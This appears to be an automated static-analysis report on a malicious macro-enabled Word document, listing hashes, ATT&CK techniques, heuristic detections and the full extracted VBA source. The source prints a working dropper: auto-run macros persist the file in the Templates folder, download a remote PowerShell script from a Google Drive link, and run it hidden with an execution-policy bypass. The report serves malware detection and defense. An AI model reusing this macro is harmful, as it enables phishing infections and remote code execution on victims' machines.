Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fe8b69f36652f8b2…

MALICIOUS

Office (OOXML)

57.7 KB Created: 2021-06-22 06:10:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-28
MD5: bd2d1249332f46208f46a2f3d0b4398d SHA-1: fd2825fd26db3f3070ab8d59305dac3746932b4e SHA-256: fe8b69f36652f8b2097f63e8aee250477be4ca2255b738c9c11c8105d6304fa9
418 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample is a malicious macro-enabled Office document that uses VBA to download and execute a second-stage payload. The VBA script utilizes WScript.Shell and CreateObject to download a file from an embedded URL and save it to the user's Microsoft Templates directory, likely as a persistence mechanism. The script also references PowerShell, indicating a multi-stage attack.

Heuristics 10

  • ClamAV: Doc.Malware.Mrafr-10020543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Mrafr-10020543-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        strCommand = "Powershell -ExecutionPolicy Bypass -windowstyle hidden -File " & GetDownloadsPath & "\hidden.ps1"
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    objADOStream.Write objXMLHTTP.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://drive.google.com/u/0/uc?id=1I8o3WmyHqRzxEYismfk1M3RJN5nnsEQ0&export=downloadReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3233 bytes
SHA-256: e0a2754fe9a7fa9c85d37db3a638873aa531166c8a88580879757e21f2eee769
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Q1E11, 16, 0, MSForms, CheckBox"
Attribute VB_Control = "Q1D11, 15, 1, MSForms, CheckBox"
Attribute VB_Control = "Q1C11, 14, 2, MSForms, CheckBox"
Attribute VB_Control = "Q1B21, 13, 3, MSForms, CheckBox"
Attribute VB_Control = "Q1A21, 12, 4, MSForms, CheckBox"
Attribute VB_Control = "Q1E1, 11, 5, MSForms, CheckBox"
Attribute VB_Control = "Q1D1, 10, 6, MSForms, CheckBox"
Attribute VB_Control = "Q1C1, 9, 7, MSForms, CheckBox"
Attribute VB_Control = "Q1B2, 8, 8, MSForms, CheckBox"
Attribute VB_Control = "Q1A2, 7, 9, MSForms, CheckBox"
Attribute VB_Control = "Q1A1, 6, 10, MSForms, CheckBox"
Attribute VB_Control = "Q1B1, 5, 11, MSForms, CheckBox"
Attribute VB_Control = "Q1E, 4, 12, MSForms, CheckBox"
Attribute VB_Control = "Q1D, 3, 13, MSForms, CheckBox"
Attribute VB_Control = "Q1C, 2, 14, MSForms, CheckBox"
Attribute VB_Control = "Q1B, 1, 15, MSForms, CheckBox"
Attribute VB_Control = "Q1A, 0, 16, MSForms, CheckBox"

Attribute VB_Name = "NewMacros"
Sub autoopen()
    'function called by the initial 'dropper' code, drops a dotm into %appdata\microsoft templates
    curfile = ActiveDocument.Path & "\" & ActiveDocument.Name
    templatefile = Environ("appdata") & "\Microsoft\Templates\" & DateDiff("s", #1/1/1970#, Now()) & ".dotm"

    ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True

    ' save back to orig location, otherwise AMSI will kcik in (as we are the template)
    ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled

    ' now create a new file based on template
    Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0
End Sub

Sub autonew()


GetDownloadsPath = Environ$("USERPROFILE") & "\Downloads"
 strFileURL = "https://drive.google.com/u/0/uc?id=1I8o3WmyHqRzxEYismfk1M3RJN5nnsEQ0&export=download"
 strHDLocation = GetDownloadsPath & "\hidden.ps1"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0")
objXMLHTTP.Open "GET", strFileURL, False
 objXMLHTTP.send
If objXMLHTTP.Status = 200 Then
 Set objADOStream = CreateObject("ADODB.Stream")
 objADOStream.Open
 objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
 objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = CreateObject("Scripting.FileSystemObject")
 If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
 Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
 objADOStream.Close
 Set objADOStream = Nothing
 
 End If
Set objXMLHTTP = Nothing


GetDownloadsPath = Environ$("USERPROFILE") & "\Downloads"
    strCommand = "Powershell -ExecutionPolicy Bypass -windowstyle hidden -File " & GetDownloadsPath & "\hidden.ps1"
    Set WshShell = CreateObject("WScript.Shell")
    Set WshShellExec = WshShell.Exec(strCommand)
    'MsgBox strCommand

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 783c1662bd8233a8297e4c6f5051bda600cdbcae10e52e23eeb587c3e1437e16
Detection
ClamAV: Doc.Malware.Mrafr-10020543-0
Obfuscation or payload: unlikely